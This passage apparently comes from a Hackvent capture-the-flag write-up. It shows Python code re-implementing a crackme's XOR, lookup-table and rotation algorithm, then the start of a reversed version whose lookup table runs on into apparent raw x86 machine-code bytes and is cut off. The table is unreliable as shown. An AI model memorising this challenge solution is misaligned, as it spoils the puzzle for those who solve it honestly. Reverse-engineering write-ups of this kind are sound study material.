[0x37, 0x33, 0x33, 0x31]\ninput_2 = [0x6a, 0x66, 0x64, 0x61]\nresult_1 = list(input_1)\nresult_2 = list(input_2)\nsaved_result_1 = list(input_1)\nsaved_result_2 = list(input_2)\nLOW=3\nHIGH=2\ndef ror(array_to_shift, positions):\n    i = 0\n    while i &lt; positions:\n        tmp_element = array_to_shift[len(array_to_shift)-1]\n        c = len(array_to_shift)-1\n        while c &gt;= 0:\n            array_to_shift[c] = array_to_shift[c-1]\n            c -= 1\n        array_to_shift[0] = tmp_element\n        i += 1\n    return array_to_shift\ndef print_result(title, array_to_print):\n    string = \"\"\n    for x in array_to_print:\n        string += format(x, '02X')\n    print title + string\ncounter = 0\nwhile counter &lt; 8:\n    #Load saved results\n    result_1 = list(saved_result_1)\n    result_2 = list(saved_result_2)\n    '''print_result(\"Result 1: \", result_1)\n    print_result(\"Result 2: \", result_2)\n    print \"-------------\"'''\n    c = 0\n    while c &lt; len(result_1):\n        result_1[(len(result_1)-c-1)] ^= hackvent_hex[(c+(counter*7))]\n        c+=1\n    result_2[LOW] ^= lookup_table[result_1[LOW]]\n    result_2[HIGH] ^= lookup_table[result_1[HIGH]]\n    ror(result_1, 10)\n    ror(result_2, 10)\n    result_2[LOW] ^= lookup_table[result_1[LOW]]\n    result_2[HIGH] ^= lookup_table[result_1[HIGH]]\n    #### Reload Result 1\n    result_1 = list(saved_result_1)\n    ror(result_2, 10)\n    ror(result_1, 9)\n    #SAVE Result 2\n    saved_result_2 = list(result_2)\n    result_2[HIGH] ^= result_2[LOW]\n    result_2[LOW] ^= hackvent_hex[4+(counter*7)]\n    result_1[HIGH] ^= lookup_table[result_2[HIGH]]\n    result_1[LOW] ^= lookup_table[result_2[LOW]]\n    ror(result_2, 10)\n    ror(result_1, 10)\n    #^with Hackvent DX\n    result_2[3] ^= hackvent_hex[(5+(counter*7))]\n    result_2[2] ^= hackvent_hex[(1+5+(counter*7))]\n    result_1[HIGH] ^= lookup_table[result_2[HIGH]]\n    result_1[LOW] ^= lookup_table[result_2[LOW]]\n    ror(result_1, 9)\n    #Save Result 1\n    saved_result_1 = list(result_1)\n    counter+=1\n    print_result(\"Result 1: \", result_1)\n    print_result(\"Result 2: \", result_2)\n    print \"-------------\"\nresult_1 = list(saved_result_1)\nresult_2 = list(saved_result_2)\nc = 0\nwhile c &lt; len(result_1):\n    result_1[(len(result_1)-c-1)] ^= hackvent_hex[56+c]\n    c+=1\nresult_2[LOW] ^= lookup_table[result_1[LOW]]\nresult_2[HIGH] ^= lookup_table[result_1[HIGH]]\nror(result_2, 10)\nror(result_1, 10)\nresult_2[LOW] ^= lookup_table[result_1[LOW]]\nresult_2[HIGH] ^= lookup_table[result_1[HIGH]]\nror(result_2, 10)\nsaved_result_2 = list(result_2)\nprint_result(\"End Result 1: \", result_1)\nprint_result(\"End Result 2: \", result_2)\nprint_result(\"Saved Result 1: \", saved_result_1)\nprint_result(\"Saved Result 2: \", saved_result_2)\nprint(\"----------------\")<\/pre>\n<p><strong>Reversed Algorithm:<\/strong><\/p>\n<pre class=\"wrap:true lang:python decode:true\">#!\/usr\/bin\/python\nlookup_table = [0x20, 0x89, 0xEF, 0xBC, 0x66, 0x7D, 0xDD, 0x48, 0xD4, 0x44, 0x51, 0x25, 0x56, 0xED, 0x93, 0x95, 0x46, 0xE5, 0x11, 0x7C, 0x73, 0xCF, 0x21, 0x14, 0x7A, 0x8F, 0x19, 0xD7, 0x33, 0xB7, 0x8A, 0x8E, 0x92, 0xD3, 0x6E, 0xAD, 0x01, 0xE4, 0xBD, 0x0E, 0x67, 0x4E, 0xA2, 0x24, 0xFD, 0xA7, 0x74, 0xFF, 0x9E, 0x2D, 0xB9, 0x32, 0x62, 0xA8, 0xFA, 0xEB, 0x36, 0x8D, 0xC3, 0xF7, 0xF0, 0x3F, 0x94, 0x02, 0xE0, 0xA9, 0xD6, 0xB4, 0x3E, 0x16, 0x75, 0x6C, 0x13, 0xAC, 0xA1, 0x9F, 0xA0, 0x2F, 0x2B, 0xAB, 0xC2, 0xAF, 0xB2, 0x38, 0xC4, 0x70, 0x17, 0xDC, 0x59, 0x15, 0xA4, 0x82, 0x9D, 0x08, 0x55, 0xFB, 0xD8, 0x2C, 0x5E, 0xB3, 0xE2, 0x26, 0x5A, 0x77, 0x28, 0xCA, 0x22, 0xCE, 0x23, 0x45, 0xE7, 0xF6, 0x1D, 0x6D, 0x4A, 0x47, 0xB0, 0x06, 0x3C, 0x91, 0x41, 0x0D, 0x4D, 0x97, 0x0C, 0x7F, 0x5F, 0xC7, 0x39, 0x65, 0x05, 0xE8, 0x96, 0xD2, 0x81, 0x18, 0xB5, 0x0A, 0x79, 0xBB, 0x30, 0xC1, 0x8B, 0xFC, 0xDB, 0x40, 0x58, 0xE9, 0x60, 0x80, 0x50, 0x35, 0xBF, 0x90, 0xDA, 0x0B, 0x6A, 0x84, 0x9B, 0x68, 0x5B, 0x88, 0x1F, 0x2A, 0xF3, 0x42, 0x7E, 0x87, 0x1E, 0x1A, 0x57, 0xBA, 0xB6, 0x9A, 0xF2, 0x7B, 0x52, 0xA6, 0xD0, 0x27, 0x98, 0xBE, 0x71, 0xCD, 0x72, 0x69, 0xE1, 0x54, 0x49, 0xA3, 0x63, 0x6F, 0xCC, 0x3D, 0xC8, 0xD9, 0xAA, 0x0F, 0xC6, 0x1C, 0xC0, 0xFE, 0x86, 0xEA, 0xDE, 0x07, 0xEC, 0xF8, 0xC9, 0x29, 0xB1, 0x9C, 0x5C, 0x83, 0x43, 0xF9, 0xF5, 0xB8, 0xCB, 0x09, 0xF1, 0x00, 0x1B, 0x2E, 0x85, 0xAE, 0x4B, 0x12, 0x5D, 0xD1, 0x64, 0x78, 0x4C, 0xD5, 0x10, 0x53, 0x04, 0x6B, 0x8C, 0x34, 0x3A, 0x37, 0x03, 0xF4, 0x61, 0xC5, 0xEE, 0xE3, 0x76, 0x31, 0x4F, 0xE6, 0xDF, 0xA5, 0x99, 0x3B, 0xC8, 0x00, 0x00, 0x00, 0x57, 0x56, 0x51, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0x57, 0xFC, 0xF3, 0xA4, 0x5E, 0xB9, 0x2D, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x59, 0x5E, 0x5F, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x60, 0xB8, 0x0B, 0x00, 0x00, 0x00, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0x33, 0xD2, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0x3C, 0x0C, 0x74, 0x22, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0xEB, 0xA1, 0x61, 0xC9, 0xC2, 0x04, 0x00, 0x0F, 0x50, 0x51, 0x57, 0x33, 0xC0, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xFC, 0xF3, 0xAB, 0x5F, 0x59, 0x58, 0xC3, 0xC7, 0x05, 0x9C, 0x42, 0x40, 0x00, 0x01, 0x23, 0x45, 0x67, 0xC7, 0x05, 0xA0, 0x42, 0x40, 0x00, 0x89, 0xAB, 0xCD, 0xEF, 0xC7, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xFE, 0xDC, 0xBA, 0x98, 0xC7, 0x05, 0xA8, 0x42, 0x40, 0x00, 0x76, 0x54, 0x32, 0x10, 0xC7, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xF0, 0xE1, 0xD2, 0xC3, 0xC3, 0xC8, 0x08, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xC1, 0xC1, 0xE8, 0x06, 0xA3, 0xCC, 0x42, 0x40, 0x00, 0xB8, 0x38, 0x00, 0x00, 0x00, 0x83, 0xE1, 0x3F, 0x83, 0xF9, 0x38, 0x73, 0x13, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF8, 0x38, 0x00, 0x00, 0x00, 0xEB, 0x14, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x02, 0x00, 0x00, 0x00, 0x83, 0xC0, 0x40, 0xC7, 0x45, 0xF8, 0x78, 0x00, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x4D, 0xFC, 0x8B, 0x75, 0x08, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xCC, 0x42, 0x40, 0x00, 0x03, 0xC9, 0x8B, 0xD1, 0x03, 0xD2, 0x8D, 0x0C, 0x4A, 0x8D, 0x34, 0xCE, 0x50, 0xFF, 0x75, 0xFC, 0x56, 0x57, 0xE8, 0x7F, 0x28, 0x00, 0x00, 0x03, 0x7D, 0xFC, 0x68, 0x00, 0x40, 0x40, 0x00, 0x57, 0xE8, 0x71, 0x28, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xD1, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0xCA, 0xC1, 0xE1, 0x03, 0x89, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x89, 0x15, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x55, 0xF8, 0xA1, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x0F, 0xC8, 0x0F, 0xC9, 0x89, 0x82, 0x18, 0x42, 0x40, 0x00, 0x89, 0x8A, 0x1C, 0x42, 0x40, 0x00, 0xC9, 0xC2, 0x08, 0x00, 0xFF, 0x35, 0x9C, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB0, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA0, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB4, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA4, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB8, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA8, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xBC, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xAC, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xC0, 0x42, 0x40, 0x00, 0x8B, 0x07, 0x0F, 0xC8, 0xA3, 0xD8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x04, 0x0F, 0xC8, 0xA3, 0xDC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x08, 0x0F, 0xC8, 0xA3, 0xE0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x0C, 0x0F, 0xC8, 0xA3, 0xE4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x10, 0x0F, 0xC8, 0xA3, 0xE8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x14, 0x0F, 0xC8, 0xA3, 0xEC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x18, 0x0F, 0xC8, 0xA3, 0xF0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x1C, 0x0F, 0xC8, 0xA3, 0xF4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x20, 0x0F, 0xC8, 0xA3, 0xF8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x24, 0x0F, 0xC8, 0xA3, 0xFC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x28, 0x0F, 0xC8, 0xA3, 0x00, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x2C, 0x0F, 0xC8, 0xA3, 0x04, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x30, 0x0F, 0xC8, 0xA3, 0x08, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x34, 0x0F, 0xC8, 0xA3, 0x0C, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x38, 0x0F, 0xC8, 0xA3, 0x10, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x3C, 0x0F, 0xC8, 0xCC, 0x14, 0x41, 0x40, 0x00, 0xA1, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x18, 0x41, 0x40, 0x00, 0xA1, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x1C, 0x41, 0x40, 0x00, 0xA1, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x20, 0x41, 0x40, 0x00, 0xA1, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x24, 0x41, 0x40, 0x00, 0xA1, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x28, 0x41, 0x40, 0x00, 0xA1, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x2C, 0x41, 0x40, 0x00, 0xA1, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x30, 0x41, 0x40, 0x00, 0xA1, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x34, 0x41, 0x40, 0x00, 0xA1, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x38, 0x41, 0x40, 0x00, 0xA1, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x3C, 0x41, 0x40, 0x00, 0xA1, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x40, 0x41, 0x40, 0x00, 0xA1, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x44, 0x41, 0x40, 0x00, 0xA1, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x48, 0x41, 0x40, 0x00, 0xA1, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x4C, 0x41, 0x40, 0x00, 0xA1, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x50, 0x41, 0x40, 0x00, 0xA1, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x3\n3, 0x05, 0x14, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x54, 0x41, 0x40, 0x00, 0xA1, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x58, 0x41, 0x40, 0x00, 0xA1, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x5C, 0x41, 0x40, 0x00, 0xA1, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x60, 0x41, 0x40, 0x00, 0xA1, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x64, 0x41, 0x40, 0x00, 0xA1, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x68, 0x41, 0x40, 0x00, 0xA1, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x6C, 0x41, 0x40, 0x00, 0xA1, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x70, 0x41, 0x40, 0x00, 0xA1, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x74, 0x41, 0x40, 0x00, 0xA1, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x78, 0x41, 0x40, 0x00, 0xA1, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x7C, 0x41, 0x40, 0x00, 0xA1, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x80, 0x41, 0x40, 0x00, 0xA1, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x84, 0x41, 0x40, 0x00, 0xA1, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x88, 0x41, 0x40, 0x00, 0xA1, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x8C, 0x41, 0x40, 0x00, 0xA1, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x90, 0x41, 0x40, 0x00, 0xA1, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x94, 0x41, 0x40, 0x00, 0xA1, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x98, 0x41, 0x40, 0x00, 0xA1, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x9C, 0x41, 0x40, 0x00, 0xA1, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA0, 0x41, 0x40, 0x00, 0xA1, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA4, 0x41, 0x40, 0x00, 0xA1, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA8, 0x41, 0x40, 0x00, 0xA1, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xAC, 0x41, 0x40, 0x00, 0xA1, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB0, 0x41, 0x40, 0x00, 0xA1, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB4, 0x41, 0x40, 0x00, 0xA1, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB8, 0x41, 0x40, 0x00, 0xA1, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xBC, 0x41, 0x40, 0x00, 0xA1, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC0, 0x41, 0x40, 0x00, 0xA1, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC4, 0x41, 0x40, 0x00, 0xA1, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC8, 0x41, 0x40, 0x00, 0xA1, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xCC, 0x41, 0x40, 0x00, 0xA1, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD0, 0x41, 0x40, 0x00, 0xA1, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD4, 0x41, 0x40, 0x00, 0xA1, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD8, 0x41, 0x40, 0x00, 0xA1, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xDC, 0x41, 0x40, 0x00, 0xA1, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE0, 0x41, 0x40, 0x00, 0xA1, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE4, 0x41, 0x40, 0x00, 0xA1, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE8, 0x41, 0x40, 0x00, 0xA1, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xEC, 0x41, 0x40, 0x00, 0xA1, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 